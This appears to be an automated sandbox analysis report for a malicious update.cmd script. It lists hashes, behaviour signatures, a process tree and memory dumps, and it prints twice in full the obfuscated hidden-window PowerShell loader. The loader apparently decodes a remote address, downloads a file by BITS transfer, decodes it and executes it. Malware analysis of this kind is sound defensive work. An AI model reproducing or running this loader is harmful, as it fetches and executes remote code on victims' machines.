f0e5b0472df1921c5b9c32c0dc4c1a3a2cc15084b72df00fe2710f63221ee224

Analysis

max time kernel
145s
max time network
147s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
16-03-2024 03:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

update.cmd
Size

5KB
MD5

18cd0ca1ca49fbb1f87857bdd82057f2
SHA1

925a0f183e623acbd6edd29cfa355bab1da1ad57
SHA256

cadf38d790d8fb66778274645df233a375a764a10058e68e585195211da00c32
SHA512

41993d6911e8595e3a5e2bb68ca68ad0ed351d889cd98112c2d7d232198e7ce2ed376ef64cb0bdfa1a08363b882108c04324f482e1d3df33ef71517d7df51f2d
SSDEEP

96:/zJl/WkutluEbuEI2JjLVg1mvR9N5tMzPfIJ3lZjMQ1utJpMFbg2MYhbUQiVP89o:rO1Y8C4R9NTMr69uKhQYu8La

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1760 powershell.exe
2616 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1760 powershell.exe
Token: SeDebugPrivilege 2616 powershell.exe

pid	process
1760	powershell.exe
2616	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1760	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1712 wrote to memory of 1760	1712	cmd.exe	powershell.exe
PID 1712 wrote to memory of 1760	1712	cmd.exe	powershell.exe
PID 1712 wrote to memory of 1760	1712	cmd.exe	powershell.exe
PID 1760 wrote to memory of 2616	1760	powershell.exe	powershell.exe
PID 1760 wrote to memory of 2616	1760	powershell.exe	powershell.exe
PID 1760 wrote to memory of 2616	1760	powershell.exe	powershell.exe
PID 1760 wrote to memory of 2616	1760	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\update.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1712

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -windowstyle hidden "++$Paperful;++$Paperful;$Paperful=$Paperful-1;Function Gsteforelse ($Sammenpresningernes){$totaliteters=5;$totaliteters++;For($Opdrttendes=5; $Opdrttendes -lt $Sammenpresningernes.Length-1; $Opdrttendes+=$totaliteters){$Miamaja = 'substring';$Indblsende=$Sammenpresningernes.$Miamaja.Invoke($Opdrttendes, 1);$Unexcusedly=$Unexcusedly+$Indblsende}$Unexcusedly;}$Forfatningsraadets=Gsteforelse 'KlinghBrneftA,tletefterpIntegsTusin: .ver/ fala/Sco,ii,lorrr IndksFo.tusPreim-.parkhB.eveaInitisUng ihUdvalePoc edMille.Lilasi Un.nqBum.e/ lotsK Asyn/BesttAstamhsRefintSanksrMoorbi onomnRullegSharpe.yenirOktave ProvdStyree SdeasSkoss2Isoch1data 9,orpj.BenefeVariemBortfzUskik ';$Udhugningernes=$Forfatningsraadets.split([char]62);$Forfatningsraadets=$Udhugningernes[0];$Rasteres=Gsteforelse 'HvneriErep.eInvoixPr be ';$Internaternes = Gsteforelse 'Ra.er\sva,ssSelenyNldefsCarvewA.skro ,umlwMongr6 Baso4S,uta\I dvnW RebuiTrampnOrthodT ilroA.saiw Stens LithP duploStimuwreforeDis nrFrem SEth,ohPresteTrainl,nderlDotte\ P,stv Univ1Buttb.Styrt0Drosl\ ippupBe,ekoAkkrewMe,yleMansirStrims BarshRejudeUdkrtl,errilProtr.Supe.eNewmaxbaluseFamil ';.($Rasteres) (Gsteforelse ' verf$kine KIgnoraT.rpet IslahLocalr HestiChrysnSlowwaExsci=Weigh$ PseueGa venChe.rvCrist:earliwSmrt iCan.lnPas.id Cr,piToldfrEsmak ') ;.($Rasteres) (Gsteforelse 'B.rtf$I terIbrne,n NonctZonaleForhor Spe nFo kmacathot Brnee VerdrImp.ennyansePhotosVerli=O skr$S,tifKUnwinaUndtatCurubh FortrUndeviFore.nSuithaKludr+gaase$ApostIBra,inAstrotOpmuneKaktur,asfenFi etaAfdant.lytkeDr inrSpaaenSpejleairsisMorbr ') ;.($Rasteres) (Gsteforelse 'Anima$SalesTEkpw,ounaisr Afs t ForfuRakker RegleExtrarFi,tisEkspa1Vrd.g7 Spi,9Irvin Anst =Ceiba Rest.(Nu.ul(ElastgUrocew HaremSi,nai pinu ToilewElecti rdbnMugni3propo2Gueri_scoripUmennr.fmrkoP.nencIndfoeUdre,sTiddlsAutos Incre-Im arFpr.sn UdsvePPimper Hardo Mis.cEftereBrgersOloros F.wlISystedStyre=Essen$Progr{NostrPGasmoIK,epsDQuip.}Nonfu) Ca e.FoofaCW,opsol sedmLucrimEuchaaKalvenAriaddDi,umL Pe,ti BoilnPraksei for)Hardw Maxim-catabs G mnpforvil ,aryi,isint Unre Unap[Intercmultihund.ra,traarFilm ]Valo.3 Di i4 Gray ');.($Rasteres) (Gsteforelse 'Gesne$MilweUClinonFilmgmProtoa PluviCerv,d,narkePaasmnDaadylAndeniKompokG,znue Unr, White=Spr.d ety.o$ VejrTAnst,oCocktrTu,kitOomphuMo itrLang,eLegatrDesecsNordc1Answ.7 Tset9Jo.dv[te,em$StrukTWoodsoTropprAfl,stSe eku strarPalateEnkelrSquamsLo re1Vat,k7Argum9Foe i.HuanacTropioDingiu D.bfnove wtD nde- S,ul2 Catc] Uncr ');.($Rasteres) (Gsteforelse 'Sn,ek$UdhulSAffirhAdminoMetaspBrocch Vaerr AgenoUindstTocolh Pa.p=H lom(Trip.TDyname SpansRegultSolol-bundgPtoxicasprint jalhAntic ,rop$ PlouIContonPowdet TialeMonolrCobalnBoligaFonogtPrfereZeno.rPosten StileUnhomsUnvol)Chede P ess-U,etiA ReimnGiftedAffir Heter(Mejet[AmperIAl,ornDesu.tBet,lPOph stLumacrF,rhi] oir: Kara: GorisO,thoi,yperz st.me Forz Macki-Fodsae BlinqSlags F,len8Indlo) agr, ') ;if ($Shophroth) {.$Internaternes $Unmaidenlike;} else {;$Cosectarian18=Gsteforelse 'FrysnSTownstTidsbaKvadrrh.vedtMea o-KrimiBBeribi.isent Borgs ZoopTCognorTanglaPumaenCaveesGrossfK,mbieSidstr.ldbu Baade-Dr.ssS radoTi kru Tv,vrBongoc SprieStats Sper.$ArtsbF galvo.ltstrP,besfH laraUdk.ptSterenNoddliNder.n AngugInd.lsOnerorSkylaaRepreaBlaagdMaruleEjerstJackbs Mat Re o-PytteD.andeeAfvigsCl.dttR,nceiHarmonOxyioaMi,detAnsvaiTendeoHizz,nArena Agric$Ord,eKAnelsaAfplutStranhTr,nsrRealsi Pa.inHa taa ,avi ';.($Rasteres) (Gsteforelse 'Bo ig$BremsK Compa.imostNde ahMel erEfteriInpounStrutaR,sar=Allie$AnfaleSkr,fnQatarvTomat:A,tocaRoug,p En,op Skgld IsodaForebt Telea Svul ') ;.($Rasteres) (Gsteforelse ' RotuISharpm ,iphpceyl,oHa,mlr H,ggtD coe-Mon tMCaryooChambd NineuColorlTargueArbej SkannBOpsluiEt,agtKindlsTenabT Sub rSognea elannUntans Skr,fcardieFolderResee ') ;$Kathrina=$Kathrina+'\Dioscoreaceous.Mag';while (-not $Vrktjerne) {.($Rasteres) (Gsteforelse 'Unall$BasthVExognrRdbedkBridgtUnliqjPor.eepearlrCam.unFrelseLewni=Absti(DegneTBilatepa,kws.ommetPre n-Luft.PTorpeaHjrect Hy.rh Path S,hat$MidteKSvrvgaSupertsto thmennerFodboiKab lnPapi.akiten)kontr ') ;.($Rasteres) $Cosectarian18;.($Rasteres) (Gsteforelse 'BefrdS skatspeaka MycerDysc.tratte- uropSPostklHalvkeT.ctoegrundpFarv Rewak5Farse ');$Forfatningsraadets=$Udhugningernes[$Silyl++%$Udhugningernes.count];}.($Rasteres) (Gsteforelse 'F ren$EpilaUTicklnkunstdCoremeOprulr PrehwdjellaBorgev Boo.eOp.lm Aver=Cepha UnifiG re,oeFo,sntHand.-ChestC PhleoNe,nsn Zacht.aduceForbenCirkutQ.aut urta$Fors,KVejkaamilietEquiph Hjerr .ckeiPa.abnMegalaBenst ');.($Rasteres) (Gsteforelse 'Forfa$PanduMCanaauLeganlCopr,istilles oerrsygel Nivea=appor Prolo[ N.moSWet,iySolvesTungetT.onhe.orsem Este.A,estCDdtovoKlim,nNoni vDisc.e O.phr B.det Duti]Sndre:.apac:SmaavF,uperrHefteoEudormReg,sBCo.tuaRegnss AnabeMidna6preo 4Stud.SMesottOpposr TraaiSk,ggn KonogLa.gt( S.rc$ChefgU sejln Salider iueFulgtr Barnw,wellaMillivUnr ie Eksp)Mahra ');.($Rasteres) (Gsteforelse ' Undi$SkovtS Ant,e Insun Pod aabsoltgal,osMenneu K.stdIndflv dersaAnemolGripyg Stam Scler=Viden Ex,a[ ,rddS Lysty,mutts MonetZonule OvermConv.. SmorT Tohoe S baxDeviatNauti. FumaE randnJamb.cVokseoRedesd .toliRhab nFahregTjekl]Hemat:Profa:Halt,ALiblaS TrkpCToaarIfloatIUds a. ChirGI lndeRameltcivilSForektEggher,nsdeiTapp nUnlacg Muri(whelv$PrehaMTa.ksuSe.arlPrewoiPfalze Blepr M.ss)Count ');.($Rasteres) (Gsteforelse ' Encl$Intu RFi.speMirinfGigmaoSingrrUtrygmBrownbdi riePipeavA kipgKonomeUharmlUnheasR.jseeBowdlrGuar.=Schle$EffekSjouleeSayrenDialya,imnotHalefsForsvuEfterdA scuv In,ra DamplBillegO.ium.Waftssisslau.ntihbDimplsCentrtEnkefrApteriMatronDefecg Tryi( Unse3Ken p1Duode4svine4 Gris7Ddsmr1Egoph,S.dba2Anenc5Sterg4Bindl9Redel0Yanni)stemw ');.($Rasteres) $Reformbevgelser;}"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$Paperful;++$Paperful;$Paperful=$Paperful-1;Function Gsteforelse ($Sammenpresningernes){$totaliteters=5;$totaliteters++;For($Opdrttendes=5; $Opdrttendes -lt $Sammenpresningernes.Length-1; $Opdrttendes+=$totaliteters){$Miamaja = 'substring';$Indblsende=$Sammenpresningernes.$Miamaja.Invoke($Opdrttendes, 1);$Unexcusedly=$Unexcusedly+$Indblsende}$Unexcusedly;}$Forfatningsraadets=Gsteforelse 'KlinghBrneftA,tletefterpIntegsTusin: .ver/ fala/Sco,ii,lorrr IndksFo.tusPreim-.parkhB.eveaInitisUng ihUdvalePoc edMille.Lilasi Un.nqBum.e/ lotsK Asyn/BesttAstamhsRefintSanksrMoorbi onomnRullegSharpe.yenirOktave ProvdStyree SdeasSkoss2Isoch1data 9,orpj.BenefeVariemBortfzUskik ';$Udhugningernes=$Forfatningsraadets.split([char]62);$Forfatningsraadets=$Udhugningernes[0];$Rasteres=Gsteforelse 'HvneriErep.eInvoixPr be ';$Internaternes = Gsteforelse 'Ra.er\sva,ssSelenyNldefsCarvewA.skro ,umlwMongr6 Baso4S,uta\I dvnW RebuiTrampnOrthodT ilroA.saiw Stens LithP duploStimuwreforeDis nrFrem SEth,ohPresteTrainl,nderlDotte\ P,stv Univ1Buttb.Styrt0Drosl\ ippupBe,ekoAkkrewMe,yleMansirStrims BarshRejudeUdkrtl,errilProtr.Supe.eNewmaxbaluseFamil ';.($Rasteres) (Gsteforelse ' verf$kine KIgnoraT.rpet IslahLocalr HestiChrysnSlowwaExsci=Weigh$ PseueGa venChe.rvCrist:earliwSmrt iCan.lnPas.id Cr,piToldfrEsmak ') ;.($Rasteres) (Gsteforelse 'B.rtf$I terIbrne,n NonctZonaleForhor Spe nFo kmacathot Brnee VerdrImp.ennyansePhotosVerli=O skr$S,tifKUnwinaUndtatCurubh FortrUndeviFore.nSuithaKludr+gaase$ApostIBra,inAstrotOpmuneKaktur,asfenFi etaAfdant.lytkeDr inrSpaaenSpejleairsisMorbr ') ;.($Rasteres) (Gsteforelse 'Anima$SalesTEkpw,ounaisr Afs t ForfuRakker RegleExtrarFi,tisEkspa1Vrd.g7 Spi,9Irvin Anst =Ceiba Rest.(Nu.ul(ElastgUrocew HaremSi,nai pinu ToilewElecti rdbnMugni3propo2Gueri_scoripUmennr.fmrkoP.nencIndfoeUdre,sTiddlsAutos Incre-Im arFpr.sn UdsvePPimper Hardo Mis.cEftereBrgersOloros F.wlISystedStyre=Essen$Progr{NostrPGasmoIK,epsDQuip.}Nonfu) Ca e.FoofaCW,opsol sedmLucrimEuchaaKalvenAriaddDi,umL Pe,ti BoilnPraksei for)Hardw Maxim-catabs G mnpforvil ,aryi,isint Unre Unap[Intercmultihund.ra,traarFilm ]Valo.3 Di i4 Gray ');.($Rasteres) (Gsteforelse 'Gesne$MilweUClinonFilmgmProtoa PluviCerv,d,narkePaasmnDaadylAndeniKompokG,znue Unr, White=Spr.d ety.o$ VejrTAnst,oCocktrTu,kitOomphuMo itrLang,eLegatrDesecsNordc1Answ.7 Tset9Jo.dv[te,em$StrukTWoodsoTropprAfl,stSe eku strarPalateEnkelrSquamsLo re1Vat,k7Argum9Foe i.HuanacTropioDingiu D.bfnove wtD nde- S,ul2 Catc] Uncr ');.($Rasteres) (Gsteforelse 'Sn,ek$UdhulSAffirhAdminoMetaspBrocch Vaerr AgenoUindstTocolh Pa.p=H lom(Trip.TDyname SpansRegultSolol-bundgPtoxicasprint jalhAntic ,rop$ PlouIContonPowdet TialeMonolrCobalnBoligaFonogtPrfereZeno.rPosten StileUnhomsUnvol)Chede P ess-U,etiA ReimnGiftedAffir Heter(Mejet[AmperIAl,ornDesu.tBet,lPOph stLumacrF,rhi] oir: Kara: GorisO,thoi,yperz st.me Forz Macki-Fodsae BlinqSlags F,len8Indlo) agr, ') ;if ($Shophroth) {.$Internaternes $Unmaidenlike;} else {;$Cosectarian18=Gsteforelse 'FrysnSTownstTidsbaKvadrrh.vedtMea o-KrimiBBeribi.isent Borgs ZoopTCognorTanglaPumaenCaveesGrossfK,mbieSidstr.ldbu Baade-Dr.ssS radoTi kru Tv,vrBongoc SprieStats Sper.$ArtsbF galvo.ltstrP,besfH laraUdk.ptSterenNoddliNder.n AngugInd.lsOnerorSkylaaRepreaBlaagdMaruleEjerstJackbs Mat Re o-PytteD.andeeAfvigsCl.dttR,nceiHarmonOxyioaMi,detAnsvaiTendeoHizz,nArena Agric$Ord,eKAnelsaAfplutStranhTr,nsrRealsi Pa.inHa taa ,avi ';.($Rasteres) (Gsteforelse 'Bo ig$BremsK Compa.imostNde ahMel erEfteriInpounStrutaR,sar=Allie$AnfaleSkr,fnQatarvTomat:A,tocaRoug,p En,op Skgld IsodaForebt Telea Svul ') ;.($Rasteres) (Gsteforelse ' RotuISharpm ,iphpceyl,oHa,mlr H,ggtD coe-Mon tMCaryooChambd NineuColorlTargueArbej SkannBOpsluiEt,agtKindlsTenabT Sub rSognea elannUntans Skr,fcardieFolderResee ') ;$Kathrina=$Kathrina+'\Dioscoreaceous.Mag';while (-not $Vrktjerne) {.($Rasteres) (Gsteforelse 'Unall$BasthVExognrRdbedkBridgtUnliqjPor.eepearlrCam.unFrelseLewni=Absti(DegneTBilatepa,kws.ommetPre n-Luft.PTorpeaHjrect Hy.rh Path S,hat$MidteKSvrvgaSupertsto thmennerFodboiKab lnPapi.akiten)kontr ') ;.($Rasteres) $Cosectarian18;.($Rasteres) (Gsteforelse 'BefrdS skatspeaka MycerDysc.tratte- uropSPostklHalvkeT.ctoegrundpFarv Rewak5Farse ');$Forfatningsraadets=$Udhugningernes[$Silyl++%$Udhugningernes.count];}.($Rasteres) (Gsteforelse 'F ren$EpilaUTicklnkunstdCoremeOprulr PrehwdjellaBorgev Boo.eOp.lm Aver=Cepha UnifiG re,oeFo,sntHand.-ChestC PhleoNe,nsn Zacht.aduceForbenCirkutQ.aut urta$Fors,KVejkaamilietEquiph Hjerr .ckeiPa.abnMegalaBenst ');.($Rasteres) (Gsteforelse 'Forfa$PanduMCanaauLeganlCopr,istilles oerrsygel Nivea=appor Prolo[ N.moSWet,iySolvesTungetT.onhe.orsem Este.A,estCDdtovoKlim,nNoni vDisc.e O.phr B.det Duti]Sndre:.apac:SmaavF,uperrHefteoEudormReg,sBCo.tuaRegnss AnabeMidna6preo 4Stud.SMesottOpposr TraaiSk,ggn KonogLa.gt( S.rc$ChefgU sejln Salider iueFulgtr Barnw,wellaMillivUnr ie Eksp)Mahra ');.($Rasteres) (Gsteforelse ' Undi$SkovtS Ant,e Insun Pod aabsoltgal,osMenneu K.stdIndflv dersaAnemolGripyg Stam Scler=Viden Ex,a[ ,rddS Lysty,mutts MonetZonule OvermConv.. SmorT Tohoe S baxDeviatNauti. FumaE randnJamb.cVokseoRedesd .toliRhab nFahregTjekl]Hemat:Profa:Halt,ALiblaS TrkpCToaarIfloatIUds a. ChirGI lndeRameltcivilSForektEggher,nsdeiTapp nUnlacg Muri(whelv$PrehaMTa.ksuSe.arlPrewoiPfalze Blepr M.ss)Count ');.($Rasteres) (Gsteforelse ' Encl$Intu RFi.speMirinfGigmaoSingrrUtrygmBrownbdi riePipeavA kipgKonomeUharmlUnheasR.jseeBowdlrGuar.=Schle$EffekSjouleeSayrenDialya,imnotHalefsForsvuEfterdA scuv In,ra DamplBillegO.ium.Waftssisslau.ntihbDimplsCentrtEnkefrApteriMatronDefecg Tryi( Unse3Ken p1Duode4svine4 Gris7Ddsmr1Egoph,S.dba2Anenc5Sterg4Bindl9Redel0Yanni)stemw ');.($Rasteres) $Reformbevgelser;}"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2616

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZBT3ELGQNGM19X4RZ3TB.temp
Filesize
7KB

MD5
4e4d6a5ee12c7d9542eb4e86b2451923

SHA1
92299989177aa82525682773bdf0267560927734

SHA256
05ff190773ac1504ca42468df9db6c0c017bbb0424d33e39f0a29afde6229e9d

SHA512
e5e14612e67ffec24dc6369910246c79cb8fca8779917e28abb9e768ab0c3aa426d822e5ca1a5e79f486c76cc5e53127cf5472ffaef62f19aa20adf84429638c

Download Submit
memory/1760-29-0x0000000002850000-0x00000000028D0000-memory.dmp

Filesize
512KB

Download
memory/1760-28-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-30-0x0000000002850000-0x00000000028D0000-memory.dmp

Filesize
512KB

Download
memory/1760-8-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-10-0x0000000002850000-0x00000000028D0000-memory.dmp

Filesize
512KB

Download
memory/1760-11-0x0000000002850000-0x00000000028D0000-memory.dmp

Filesize
512KB

Download
memory/1760-9-0x0000000002850000-0x00000000028D0000-memory.dmp

Filesize
512KB

Download
memory/1760-5-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/1760-7-0x0000000002850000-0x00000000028D0000-memory.dmp

Filesize
512KB

Download
memory/1760-4-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/1760-6-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2616-17-0x00000000028E0000-0x0000000002920000-memory.dmp

Filesize
256KB

Download
memory/2616-18-0x00000000028E0000-0x0000000002920000-memory.dmp

Filesize
256KB

Download
memory/2616-16-0x00000000028E0000-0x0000000002920000-memory.dmp

Filesize
256KB

Download
memory/2616-33-0x00000000028E0000-0x0000000002920000-memory.dmp

Filesize
256KB

Download
memory/2616-14-0x0000000073190000-0x000000007373B000-memory.dmp

Filesize
5.7MB

Download
memory/2616-31-0x0000000073190000-0x000000007373B000-memory.dmp

Filesize
5.7MB

Download
memory/2616-32-0x00000000028E0000-0x0000000002920000-memory.dmp

Filesize
256KB

Download
memory/2616-15-0x0000000073190000-0x000000007373B000-memory.dmp

Filesize
5.7MB

Download